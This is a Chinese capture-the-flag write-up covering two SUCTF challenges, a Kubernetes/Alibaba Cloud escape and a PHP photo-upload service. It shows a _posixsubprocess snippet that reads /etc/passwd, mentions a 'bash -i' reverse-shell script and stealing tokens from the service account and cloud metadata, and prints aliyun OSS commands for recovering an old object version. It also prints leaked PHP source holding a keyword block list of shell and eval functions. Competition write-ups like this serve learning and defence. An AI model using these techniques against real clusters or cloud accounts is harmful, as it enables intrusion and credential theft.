k8s aliyun 基础权限的获取不难,通过_posixsubprocess模块可以执行命令
import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False) 同时通过往tmp路径下写入一个bash -i的反弹脚本调用即可
前面我先使用了常见的对k8s的手段,读取/var/run/secrets/kubernetes.io/serviceaccount/tokentoken尝试获得权限,没用,权限很低
后续又使用了CDK进行扫描,扫描出了几个cve,逐个尝试后发现没用,又发现metadata,这时候已经第二天了,使用metadata读取到了token,之前没打过云,在网上搜索过后发现可以使用cf工具接管console,但尝试过后这个方法在阿里云升级后也没用了,后续翻找也没用发现存在的oss桶,就与这题目错过了
题解 阿里云cli 登入
#aliyun oss ls oss://suctf-flag-bucket --all-versions LastModifiedTime Size(B) StorageClass ETAG VERSIONID IS-LATEST DELETE-MARKER ObjectName 2025-01-11 21:30:39 +0800 CST 0 CAEQmwIYgoDA2sKe1qIZIiA2NmViNDQ2NWVjNzk0MzQ1YjdiNjdkYTE5ZjYwNTQyMg-- true true oss://suctf-flag-bucket/oss-flagx 2025-01-11 21:30:03 +0800 CST 76 Standard 7246CE228374D17256B45DDF88E891A0 CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- false false oss://suctf-flag-bucket/oss-flag Object Number is: 2 #aliyun oss cat oss://suctf-flag-bucket/oss-flag --version-id CAEQmwIYgYDA6Lad1qIZIiAyMjBhNWVmMDRjYzY0MDI3YjhiODU3ZDQ2MDc1MjZhOA-- SUCTF{kubernetes_is_not_only_the_cloud-a09f950a-eb89-46f4-b381-fec7c9a0023a} SU_photogallery PHP<=7.4.21 Development Server源码泄露,但我没用复现成功
读出来的代码
<?php error_reporting(0); function get_extension($filename){ return pathinfo($filename, PATHINFO_EXTENSION); } function check_extension($filename,$path){ $filePath = $path . DIRECTORY_SEPARATOR . $filename; if (is_file($filePath)) { $extension = strtolower(get_extension($filename)); if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) { if (!unlink($filePath)) { // echo "Fail to delete file: $filename\n"; return false; } else{ // echo "This file format is not supported:$extension\n"; return false; } } else{ return true; } } else{ // echo "nofile"; return false; } } function file_rename ($path,$file){ $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file); $oldPath = $path . DIRECTORY_SEPARATOR . $file; $newPath = $path . DIRECTORY_SEPARATOR . $randomName; if (!rename($oldPath, $newPath)) { unlink($path . DIRECTORY_SEPARATOR . $file); // echo "Fail to rename file: $file\n"; return false; } else{ return true; } } function move_file($path,$basePath){ foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) { $destination = $basePath . DIRECTORY_SEPARATOR . basename($file); if (!rename($file, $destination)){ // echo "Fail to rename file: $file\n"; return false; } } return true; } function check_base($fileContent){ $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info']; $base64_keywords = []; foreach ($keywords as $keyword) { $base64_keywords[] = base64_encode($keyword); } foreach ($base64_keywords as $base64_keyword) { if (strpos($fileContent, $base64_keyword)!== false) { return true; } else{ return false; } } } function check_content($zip){ for ($i = 0; $i < $zip->numFiles; $i++) { $fileInfo = $zip->statIndex($i); $fileName = $fileInfo['name']; if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) { return false; } // echo "Checking file: $fileName\n"; $fileContent = $zip->getFromName($fileName); if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) { // echo "Don't hack me!\n"; return false; } else { continue; } } return true; } function unzip($zipname, $basePath) { $zip = new ZipArchive; if (!file_exists($zipname)) { // echo "Zip file does not exist"; return "zip_not_found"; } if (!$zip->open($zipname)) { // echo "Fail to open zip file"; return "zip_open_failed"; } if (!check_content($zip)) { return "malicious_content_detected"; } $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999)); $path = $basePath . DIRECTORY_SEPARATOR . $randomDir; if (!mkdir($path, 0777, true)) { // echo "Fail to create directory"; $zip->close(); return "mkdir_failed"; } if (!$zip->extractTo($path)) { // echo "Fail to extract zip file"; $zip->close(); } for ($i = 0; $i < $zip->numFiles; $i++) { $fileInfo = $zip->statIndex($i); $fileName = $fileInfo['name']; if (!check_extension($fileName, $path)) { // echo "Unsupported file extension"; continue; } if (!file_rename($path, $fileName)) { // echo "File rename failed"; continue; } } if (!move_file($path, $basePath)) { $zip->close(); // echo "Fail to move file"; return "move_failed"; } rmdir($path); $zip->close(); return true; } $uploadDir = DIR . DIRECTORY_SEPARATOR . 'upload/suimages/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadedFile = $_FILES['file']; $zipname = $uploadedFile['tmp_name']; $path = $uploadDir; $result = unzip($zipname, $path); if ($result === true) { header("Location: index.html?status=success"); exit(); } else { header("Location: index.html?status=$result"); exit(); } } else { header("Location: index.html?status=file_error"); exit(); } 总的来说这次比赛发挥很差,一个致命的原因就是没用找到关键点,题目的关键点也好flag的关键点也好,总的来说还是题做少了
...